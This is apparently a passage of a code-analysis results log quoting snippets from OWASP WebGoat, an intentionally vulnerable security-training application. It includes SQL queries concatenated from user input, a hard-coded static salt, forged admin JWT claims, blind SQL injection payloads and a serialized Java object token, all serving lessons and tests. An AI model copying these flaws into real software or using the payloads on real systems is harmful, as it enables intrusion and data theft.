webgoat-lessons/missing-function-ac/src/test/java/org/owasp/webgoat/missing_ac/MissingFunctionACUsersTest.java\nStartLine: 57, EndLine: 71\nCode:\n}\n\n    @Test\n    public void TestContentTypeApplicationJSON () throws  Exception {\n        mockMvc.perform(MockMvcRequestBuilders.get(\"/users\")\n                .header(\"Content-type\",\"application/json\"))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$[0].username\", CoreMatchers.is(\"user1\")))\n                .andExpect(jsonPath(\"$[0].userHash\",CoreMatchers.is(\"cplTjehjI/e5ajqTxWaXhU5NW9UotJfXj+gcbPvfWWc=\")))\n                .andExpect(jsonPath(\"$[1].admin\",CoreMatchers.is(true)));\n\n    }\n\n    private List<WebGoatUser> getUsersList() {\n        List <WebGoatUser> tempUsers = new ArrayList<>();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/cia/src/test/java/org/owasp/webgoat/cia/CIAQuizTest.java\nStartLine: 139, EndLine: 163\nCode:\n}\n\n    @Test\n    public void firstAnswerFalseGetResultsReturnsFalseTrueTrueTrue() throws Exception {\n        String[] solution0 = {\"Solution 2\"};\n        String[] solution1 = {\"Solution 1\"};\n        String[] solution2 = {\"Solution 4\"};\n        String[] solution3 = {\"Solution 2\"};\n\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/cia/quiz\")\n                .param(\"question_0_solution\", solution0)\n                .param(\"question_1_solution\", solution1)\n                .param(\"question_2_solution\", solution2)\n                .param(\"question_3_solution\", solution3));\n\n        MvcResult result = mockMvc.perform(MockMvcRequestBuilders.get(\"/cia/quiz\"))\n                .andExpect(status().isOk())\n                .andReturn();\n\n        String responseString = result.getResponse().getContentAsString();\n        assertThat(responseString).isEqualTo(\"[ false, true, true, true ]\");\n    }\n\n    @Test\n    public void secondAnswerFalseGetResultsReturnsTrueFalseTrueTrue() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/xxe/ContentTypeAssignmentTest.java\nStartLine: 77, EndLine: 90\nCode:\n}\n\n    @Test\n    public void postingJsonShouldAddComment() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/xxe/content-type\")\n                .contentType(MediaType.APPLICATION_JSON)\n                .content(\"{  \\\"text\\\" : \\\"Hello World\\\"}\"))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.feedback\", CoreMatchers.is(messages.getMessage(\"xxe.content.type.feedback.json\"))));\n        assertThat(comments.getComments().stream().filter(c -> c.getText().equals(\"Hello World\")).count()).isEqualTo(1);\n    }\n\n    @Test\n    public void postingInvalidJsonShouldAddComment() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java\nStartLine: 95, EndLine: 103\nCode:\n@Override\n    @Bean\n    protected AuthenticationManager authenticationManager() throws Exception {\n        return super.authenticationManager();\n    }\n\n    @SuppressWarnings(\"deprecation\")\n    @Bean","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/DisplayUser.java\nStartLine: 63, EndLine: 77\nCode:\n}\n\n    protected String genUserHash (String username, String password) throws Exception {\n        MessageDigest md = MessageDigest.getInstance(\"SHA-256\");\n        // salting is good, but static & too predictable ... short too for a salt\n        String salted = password + \"DeliberatelyInsecure1234\" + username;\n        //md.update(salted.getBytes(\"UTF-8\")); // Change this to \"UTF-16\" if needed\n        byte[] hash = md.digest(salted.getBytes(\"UTF-8\"));\n        String encoded = Base64.getEncoder().encodeToString(hash);\n        return encoded;\n    }\n\n\n    public String getUsername() {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/test/java/org/owasp/webgoat/service/LessonMenuServiceTest.java\nStartLine: 86, EndLine: 102\nCode:\n}\n\n    @Test\n    public void lessonCompleted() throws Exception {\n        Lesson l1 = Mockito.mock(Lesson.class);\n        when(l1.getTitle()).thenReturn(\"ZA\");\n        when(lessonTracker.isLessonSolved()).thenReturn(true);\n        when(course.getLessons(any())).thenReturn(Lists.newArrayList(l1));\n        when(course.getCategories()).thenReturn(Lists.newArrayList(Category.ACCESS_CONTROL));\n        when(userTracker.getLessonTracker(any(Lesson.class))).thenReturn(lessonTracker);\n        when(userTrackerRepository.findByUser(any())).thenReturn(userTracker);\n\n        mockMvc.perform(MockMvcRequestBuilders.get(URL_LESSONMENU_MVC))\n                .andExpect(status().isOk()).andDo(print())\n                .andExpect(jsonPath(\"$[0].children[0].complete\", CoreMatchers.is(true)));\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTVotesEndpointTest.java\nStartLine: 182, EndLine: 197\nCode:\n}\n\n    @Test\n    public void unknownUserWithValidTokenShouldNotBeAbleToVote() throws Exception {\n        Claims claims = Jwts.claims();\n        claims.put(\"admin\", \"true\");\n        claims.put(\"user\", \"Intruder\");\n        String token = Jwts.builder().signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD).setClaims(claims).compact();\n\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/JWT/votings/Admin lost password\")\n                .cookie(new Cookie(\"access_token\", token)))\n                .andExpect(status().isUnauthorized());\n    }\n\n    @Test\n    public void unknownUserShouldSeeGuestView() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/insecure-deserialization/src/test/java/org/owasp/webgoat/deserialization/DeserializeTest.java\nStartLine: 55, EndLine: 69\nCode:\n}\n    \n    @Test\n    public void wrongVersion() throws Exception {\n    \tString token = \"rO0ABXNyADFvcmcuZHVtbXkuaW5zZWN1cmUuZnJhbWV3b3JrLlZ1bG5lcmFibGVUYXNrSG9sZGVyAAAAAAAAAAECAANMABZyZXF1ZXN0ZWRFeGVjdXRpb25UaW1ldAAZTGphdmEvdGltZS9Mb2NhbERhdGVUaW1lO0wACnRhc2tBY3Rpb250ABJMamF2YS9sYW5nL1N0cmluZztMAAh0YXNrTmFtZXEAfgACeHBzcgANamF2YS50aW1lLlNlcpVdhLobIkiyDAAAeHB3DgUAAAfjCR4GIQgMLRSoeHQACmVjaG8gaGVsbG90AAhzYXlIZWxsbw\";\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/InsecureDeserialization/task\")\n                .header(\"x-request-intercepted\", \"true\")\n                .param(\"token\", token))\n        \t\t.andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.feedback\", CoreMatchers.is(messages.getMessage(\"insecure-deserialization.invalidversion\"))))\n        \t\t.andExpect(jsonPath(\"$.lessonCompleted\", is(false)));\n    }\n    \n    @Test\n    public void expiredTask() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTSecretKeyEndpointTest.java\nStartLine: 96, EndLine: 111\nCode:\n}\n\n    @Test\n    public void oneOfClaimIsMissingShouldNotSolveAssignment() throws Exception {\n        Claims claims = createClaims(\"WebGoat\");\n        claims.remove(\"aud\");\n        String token = Jwts.builder().setClaims(claims).signWith(HS512, JWT_SECRET).compact();\n\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/JWT/secret\")\n                .param(\"token\", token))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.feedback\", CoreMatchers.is(messages.getMessage(\"jwt-secret-claims-missing\"))));\n    }\n\n    @Test\n    public void incorrectUser() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/sql_injection/mitigation/SqlInjectionLesson12aTest.java\nStartLine: 33, EndLine: 44\nCode:\n}\n\n    @Test\n    public void addressCorrectShouldOrderByHostname() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.get(\"/SqlInjectionMitigations/servers\")\n                .param(\"column\", \"CASE WHEN (SELECT ip FROM servers WHERE hostname='webgoat-prd') LIKE '104.%' THEN hostname ELSE id END\"))\n\n                .andExpect(status().isOk()).andExpect(jsonPath(\"$[0].hostname\", is(\"webgoat-acc\")));\n    }\n\n    @Test\n    public void addressCorrectShouldOrderByHostnameUsingSubstr() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/sql_injection/mitigation/SqlInjectionLesson12aTest.java\nStartLine: 101, EndLine: 110\nCode:\n}\n\n    @Test\n    public void postingWrongAnswerShouldNotPassTheLesson() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/SqlInjectionMitigations/attack12a\")\n                .param(\"ip\", \"192.168.219.202\"))\n\n                .andExpect(status().isOk()).andExpect(jsonPath(\"$.lessonCompleted\", is(false)));\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 35, EndLine: 64\nCode:\n@PutMapping(\"/challenge/6\")  //assignment path is bounded to class so we use different http method :-)\n    @ResponseBody\n    public AttackResult registerNewUser(@RequestParam String username_reg, @RequestParam String email_reg, @RequestParam String password_reg) throws Exception {\n        AttackResult attackResult = checkArguments(username_reg, email_reg, password_reg);\n\n        if (attackResult == null) {\n            Connection connection = DatabaseUtilities.getConnection(webSession);\n            checkDatabase(connection);\n\n            String checkUserQuery = \"select userid from \" + USERS_TABLE_NAME + \" where userid = '\" + username_reg + \"'\";\n            Statement statement = connection.createStatement();\n            ResultSet resultSet = statement.executeQuery(checkUserQuery);\n\n            if (resultSet.next()) {\n                attackResult = failed().feedback(\"user.exists\").feedbackArgs(username_reg).build();\n            } else {\n                PreparedStatement preparedStatement = connection.prepareStatement(\"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES (?, ?, ?)\");\n                preparedStatement.setString(1, username_reg);\n                preparedStatement.setString(2, email_reg);\n                preparedStatement.setString(3, password_reg);\n                preparedStatement.execute();\n                attackResult = success().feedback(\"user.created\").feedbackArgs(username_reg).build();\n            }\n        }\n        return attackResult;\n    }\n\n    private AttackResult checkArguments(String username_reg, String email_reg, String password_reg) {\n        if (StringUtils.isEmpty(username_reg) || StringUtils.isEmpty(email_reg) || StringUtils.isEmpty(password_reg)) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/chrome-dev-tools/src/test/java/org/owasp/webgoat/chrome_dev_tools/ChromeDevToolsTest.java\nStartLine: 35, EndLine: 47\nCode:\n}\n\n    @Test\n    public void NetworkAssignmentTest_Success() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/ChromeDevTools/network\")\n                .param(\"network_num\", \"123456\")\n                .param(\"number\", \"123456\"))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.lessonCompleted\", Matchers.is(true)));\n    }\n\n    @Test\n    public void NetworkAssignmentTest_Fail() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTRefreshEndpointTest.java\nStartLine: 160, EndLine: 187\nCode:\n}\n\n    @Test\n    public void newTokenShouldWorkForJerry() throws Exception {\n        ObjectMapper objectMapper = new ObjectMapper();\n        Map<String, Object> loginJson = Maps.newHashMap();\n        loginJson.put(\"user\", \"Jerry\");\n        loginJson.put(\"password\", PASSWORD);\n        MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post(\"/JWT/refresh/login\")\n                .contentType(MediaType.APPLICATION_JSON)\n                .content(objectMapper.writeValueAsString(loginJson)))\n                .andExpect(status().isOk())\n                .andReturn();\n        Map<String, String> tokens = objectMapper.readValue(result.getResponse().getContentAsString(), Map.class);\n        String accessToken = tokens.get(\"access_token\");\n        String refreshToken = tokens.get(\"refresh_token\");\n\n        Map<String, Object> refreshJson = Maps.newHashMap();\n        refreshJson.put(\"refresh_token\", refreshToken);\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/JWT/refresh/newToken\")\n                .contentType(MediaType.APPLICATION_JSON)\n                .header(\"Authorization\", \"Bearer \" + accessToken)\n                .content(objectMapper.writeValueAsString(refreshJson)))\n                .andExpect(status().isOk());\n    }\n\n    @Test\n    public void unknownRefreshTokenShouldGiveUnauthorized() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/password-reset/src/main/test/java/org/owasp/webgoat/password_reset/SecurityQuestionAssignmentTest.java\nStartLine: 55, EndLine: 72\nCode:\n}\n\n    @Test\n    public void answeringSameQuestionTwiceShouldNotSolveAssignment() throws Exception {\n        MockHttpSession mocksession = new MockHttpSession();\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/PasswordReset/SecurityQuestions\")\n                .param(\"question\", \"What is your favorite animal?\").session(mocksession))\n                .andExpect(status().isOk());\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/PasswordReset/SecurityQuestions\")\n                .param(\"question\", \"What is your favorite animal?\").session(mocksession))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.feedback\", CoreMatchers.is(messages.getMessage(\"password-questions-one-successful\"))))\n                .andExpect(jsonPath(\"$.output\", CoreMatchers.notNullValue()))\n                .andExpect(jsonPath(\"$.lessonCompleted\", CoreMatchers.is(false)));\n    }\n\n    @Test\n    public void solvingForOneUserDoesNotSolveForOtherUser() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/cia/src/test/java/org/owasp/webgoat/cia/CIAQuizTest.java\nStartLine: 50, EndLine: 70\nCode:\n}\n\n    @Test\n    public void oneAnswerWrongIsFailure() throws Exception {\n        String[] solution0 = {\"Solution 1\"};\n        String[] solution1 = {\"Solution 1\"};\n        String[] solution2 = {\"Solution 4\"};\n        String[] solution3 = {\"Solution 2\"};\n\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/cia/quiz\")\n                .param(\"question_0_solution\", solution0)\n                .param(\"question_1_solution\", solution1)\n                .param(\"question_2_solution\", solution2)\n                .param(\"question_3_solution\", solution3))\n\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"lessonCompleted\", is(false)));\n    }\n\n    @Test\n    public void twoAnswersWrongIsFailure() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson8Test.java\nStartLine: 48, EndLine: 63\nCode:\npublic class SqlInjectionLesson8Test extends SqlLessonTest {\n\n    @Test\n    public void oneAccount() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/SqlInjection/attack8\")\n                .param(\"name\", \"Smith\")\n                .param(\"auth_tan\", \"3SL99A\"))\n\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"lessonCompleted\", is(false)))\n                .andExpect(jsonPath(\"$.feedback\", is(modifySpan(messages.getMessage(\"sql-injection.8.one\")))))\n                .andExpect(jsonPath(\"$.output\", containsString(\"<table><tr><th>\")));\n    }\n\n    @Test\n    public void multipleAccounts() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTRefreshEndpointTest.java\nStartLine: 104, EndLine: 116\nCode:\n}\n\n    @Test\n    public void checkoutWitRandomTokenShouldFail() throws Exception {\n        String accessTokenTom = \"eyJhbGciOiJIUzUxMiJ9.eyJpLXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q\";\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/JWT/refresh/checkout\")\n                .header(\"Authorization\", \"Bearer \" + accessTokenTom))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.feedback\", CoreMatchers.is(messages.getMessage(\"jwt-invalid-token\"))));\n    }\n\n    @Test\n    public void flowForJerryAlwaysWorks() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTVotesEndpointTest.java\nStartLine: 194, EndLine: 212\nCode:\n}\n\n    @Test\n    public void unknownUserShouldSeeGuestView() throws Exception {\n        Claims claims = Jwts.claims();\n        claims.put(\"admin\", \"true\");\n        claims.put(\"user\", \"Intruder\");\n        String token = Jwts.builder().signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD).setClaims(claims).compact();\n\n        mockMvc.perform(MockMvcRequestBuilders.get(\"/JWT/votings/\")\n                .cookie(new Cookie(\"access_token\", token)))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$[0].numberOfVotes\").doesNotExist())\n                .andExpect(jsonPath(\"$[0].votingAllowed\").doesNotExist())\n                .andExpect(jsonPath(\"$[0].average\").doesNotExist());\n    }\n\n\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson6aTest.java\nStartLine: 45, EndLine: 57\nCode:\npublic class SqlInjectionLesson6aTest extends SqlLessonTest {\n\n    @Test\n    public void wrongSolution() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/SqlInjectionAdvanced/attack6a\")\n                .param(\"userid_6a\", \"John\"))\n\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.lessonCompleted\", is(false)));\n    }\n\n    @Test\n    public void wrongNumberOfColumns() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/ssrf/src/test/java/org/owasp/webgoat/ssrf/SSRFTest1.java\nStartLine: 39, EndLine: 49\nCode:\n}\n\n    @Test\n    public void modifyUrlJerry() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/SSRF/task1\")\n                .param(\"url\", \"images/jerry.png\"))\n                .andExpect(status().isOk()).andExpect(jsonPath(\"$.lessonCompleted\", is(true)));\n    }\n\n    @Test\n    public void modifyUrlCat() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/missing-function-ac/src/test/java/org/owasp/webgoat/missing_ac/MissingFunctionACHiddenMenusTest.java\nStartLine: 49, EndLine: 61\nCode:\n}\n\n    @Test\n    public void HiddenMenusSuccess() throws  Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/access-control/hidden-menu\")\n                .param(\"hiddenMenu1\", \"Users\")\n                .param(\"hiddenMenu2\", \"Config\"))\n                .andExpect(jsonPath(\"$.feedback\", CoreMatchers.is(messages.getMessage(\"access-control.hidden-menus.success\"))))\n                .andExpect(jsonPath(\"$.lessonCompleted\", CoreMatchers.is(true)));\n    }\n\n    @Test\n    public void HiddenMenusClose() throws  Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/test/java/org/owasp/webgoat/sql_injection/mitigation/SqlInjectionLesson12aTest.java\nStartLine: 76, EndLine: 88\nCode:\n}\n\n    @Test\n    public void falseShouldSortById() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.get(\"/SqlInjectionMitigations/servers\")\n                .param(\"column\", \"(case when (true) then hostname else id end)\"))\n\n                .andExpect(status().isOk())\n                .andExpect(status().isOk()).andExpect(jsonPath(\"$[0].hostname\", is(\"webgoat-acc\")));\n    }\n\n    @Test\n    public void addressIncorrectShouldOrderByHostname() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTSecretKeyEndpointTest.java\nStartLine: 108, EndLine: 122\nCode:\n}\n\n    @Test\n    public void incorrectUser() throws Exception {\n        Claims claims = createClaims(\"Tom\");\n        String token = Jwts.builder().setClaims(claims).signWith(HS512, JWT_SECRET).compact();\n\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/JWT/secret\")\n                .param(\"token\", token))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.feedback\", CoreMatchers.is(messages.getMessage(\"jwt-secret-incorrect-user\", \"default\", \"Tom\"))));\n    }\n\n    @Test\n    public void incorrectToken() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/test/java/org/owasp/webgoat/service/ReportCardServiceTest.java\nStartLine: 53, EndLine: 72\nCode:\n@Test\n    @WithMockUser(username = \"guest\", password = \"guest\")\n    public void withLessons() throws Exception {\n        when(lesson.getTitle()).thenReturn(\"Test\");\n        when(course.getTotalOfLessons()).thenReturn(1);\n        when(course.getTotalOfAssignments()).thenReturn(10);\n        when(course.getLessons()).thenAnswer(x -> List.of(lesson));\n        when(userTrackerRepository.findByUser(any())).thenReturn(userTracker);\n        when(userTracker.getLessonTracker(any(Lesson.class))).thenReturn(lessonTracker);\n        mockMvc.perform(MockMvcRequestBuilders.get(\"/service/reportcard.mvc\"))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$.totalNumberOfLessons\", is(1)))\n                .andExpect(jsonPath(\"$.solvedLessons\", is(0)))\n                .andExpect(jsonPath(\"$.numberOfAssignmentsSolved\", is(0)))\n                .andExpect(jsonPath(\"$.totalNumberOfAssignments\", is(10)))\n                .andExpect(jsonPath(\"$.lessonStatistics[0].name\", is(\"Test\")))\n                .andExpect(jsonPath(\"$.numberOfAssignmentsSolved\", is(0)));\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlInjectionLesson10b.java\nStartLine: 109, EndLine: 118\nCode:\nclass JavaObjectFromString extends SimpleJavaFileObject {\n        private String contents = null;\n        public JavaObjectFromString(String className, String contents) throws Exception{\n            super(new URI(className), Kind.SOURCE);\n            this.contents = contents;\n        }\n        public CharSequence getCharContent(boolean ignoreEncodingErrors) throws IOException {\n            return contents;\n        }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/test/java/org/owasp/webgoat/service/HintServiceTest.java\nStartLine: 40, EndLine: 54\nCode:\n}\n\n    @Test\n    public void hintsPerAssignment() throws Exception {\n        Assignment assignment = Mockito.mock(Assignment.class);\n        when(assignment.getPath()).thenReturn(\"/HttpBasics/attack1\");\n        when(assignment.getHints()).thenReturn(Lists.newArrayList(\"hint 1\", \"hint 2\"));\n        when(lesson.getAssignments()).thenReturn(Lists.newArrayList(assignment));\n        when(websession.getCurrentLesson()).thenReturn(lesson);\n        mockMvc.perform(MockMvcRequestBuilders.get(URL_HINTS_MVC))\n                .andExpect(status().isOk())\n                .andExpect(jsonPath(\"$[0].hint\", CoreMatchers.is(\"hint 1\")))\n                .andExpect(jsonPath(\"$[0].assignmentPath\", CoreMatchers.is(\"/HttpBasics/attack1\")));\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/ssrf/src/test/java/org/owasp/webgoat/ssrf/SSRFTest1.java\nStartLine: 46, EndLine: 54\nCode:\n}\n\n    @Test\n    public void modifyUrlCat() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/SSRF/task1\")\n                .param(\"url\", \"images/cat.jpg\"))\n                .andExpect(status().isOk()).andExpect(jsonPath(\"$.lessonCompleted\", is(false)));\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/SimpleXXE.java\nStartLine: 63, EndLine: 81\nCode:\n@PostMapping(path = \"xxe/simple\", consumes = ALL_VALUE, produces = APPLICATION_JSON_VALUE)\n    @ResponseBody\n    public AttackResult createNewComment(@RequestBody String commentStr) throws Exception {\n        String error = \"\";\n        try {\n            Comment comment = comments.parseXml(commentStr);\n            comments.addComment(comment, false);\n            if (checkSolution(comment)) {\n                return trackProgress(success().build());\n            }\n        } catch (Exception e) {\n            error = ExceptionUtils.getFullStackTrace(e);\n        }\n        return trackProgress(failed().output(error).build());\n    }\n\n    private boolean checkSolution(Comment comment) {\n        String[] directoriesToCheck = OS.isFamilyMac() || OS.isFamilyUnix() ? DEFAULT_LINUX_DIRECTORIES : DEFAULT_WINDOWS_DIRECTORIES;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/client-side-filtering/src/test/java/org/owasp/webgoat/client_side_filtering/ShopEndpointTest.java\nStartLine: 73, EndLine: 81\nCode:\n}\n\n    @Test\n    public void fetchAllTheCouponsShouldContainGetItForFree() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.get(\"/clientSideFiltering/challenge-store/coupons/\"))\n                .andExpect(jsonPath(\"$.codes[3].code\", is(\"get_it_for_free\")));\n    }\n\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/ssrf/src/test/java/org/owasp/webgoat/ssrf/SSRFTest1.java\nStartLine: 32, EndLine: 42\nCode:\n}\n\n    @Test\n    public void modifyUrlTom() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/SSRF/task1\")\n                .param(\"url\", \"images/tom.png\"))\n                .andExpect(status().isOk()).andExpect(jsonPath(\"$.lessonCompleted\", is(false)));\n    }\n\n    @Test\n    public void modifyUrlJerry() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallenge.java\nStartLine: 61, EndLine: 98\nCode:\n@PutMapping(\"/SqlInjectionAdvanced/challenge\")  //assignment path is bounded to class so we use different http method :-)\n    @ResponseBody\n    public AttackResult registerNewUser(@RequestParam String username_reg, @RequestParam String email_reg, @RequestParam String password_reg) throws Exception {\n        AttackResult attackResult = checkArguments(username_reg, email_reg, password_reg);\n\n        if (attackResult == null) {\n            Connection connection = DatabaseUtilities.getConnection(webSession);\n            checkDatabase(connection);\n\n            try {\n                String checkUserQuery = \"select userid from \" + USERS_TABLE_NAME + \" where userid = '\" + username_reg + \"'\";\n                Statement statement = connection.createStatement();\n                ResultSet resultSet = statement.executeQuery(checkUserQuery);\n\n                if (resultSet.next()) {\n                \tif (username_reg.contains(\"tom'\")) {\n                \t\tattackResult = trackProgress(success().feedback(\"user.exists\").build());\n                \t} else {\n                \t\tattackResult = failed().feedback(\"user.exists\").feedbackArgs(username_reg).build();\n                \t}\n                } else {\n                    PreparedStatement preparedStatement = connection.prepareStatement(\"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES (?, ?, ?)\");\n                    preparedStatement.setString(1, username_reg);\n                    preparedStatement.setString(2, email_reg);\n                    preparedStatement.setString(3, password_reg);\n                    preparedStatement.execute();\n                    attackResult = success().feedback(\"user.created\").feedbackArgs(username_reg).build();\n                }\n            } catch(SQLException e) {\n                attackResult = failed().output(\"Something went wrong\").build();\n            }\n            }\n            return attackResult;\n    }\n\n    private AttackResult checkArguments(String username_reg, String email_reg, String password_reg) {\n        if (StringUtils.isEmpty(username_reg) || StringUtils.isEmpty(email_reg) || StringUtils.isEmpty(password_reg)) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/client-side-filtering/src/test/java/org/owasp/webgoat/client_side_filtering/ShopEndpointTest.java\nStartLine: 66, EndLine: 76\nCode:\n}\n\n    @Test\n    public void askForUnknownCouponCode() throws Exception {\n        mockMvc.perform(MockMvcRequestBuilders.get(\"/clientSideFiltering/challenge-store/coupons/does-not-exists\"))\n                .andExpect(jsonPath(\"$.code\", CoreMatchers.is(\"no\")))\n                .andExpect(jsonPath(\"$.discount\", CoreMatchers.is(0)));\n    }\n\n    @Test\n    public void fetchAllTheCouponsShouldContainGetItForFree() throws Exception {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/missing-function-ac/src/test/java/org/owasp/webgoat/missing_ac/MissingFunctionACHiddenMenusTest.java\nStartLine: 67, EndLine: 78\nCode:\n}\n\n    @Test\n    public void HiddenMenusFailure() throws  Exception {\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/access-control/hidden-menu\")\n                .param(\"hiddenMenu1\", \"Foo\")\n                .param(\"hiddenMenu2\", \"Bar\"))\n                .andExpect(jsonPath(\"$.feedback\", CoreMatchers.is(messages.getMessage(\"access-control.hidden-menus.failure\"))))\n                .andExpect(jsonPath(\"$.lessonCompleted\", CoreMatchers.is(false)));\n    }\n\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/JWTRefreshEndpointTest.java\nStartLine: 58, EndLine: 98\nCode:\n}\n\n    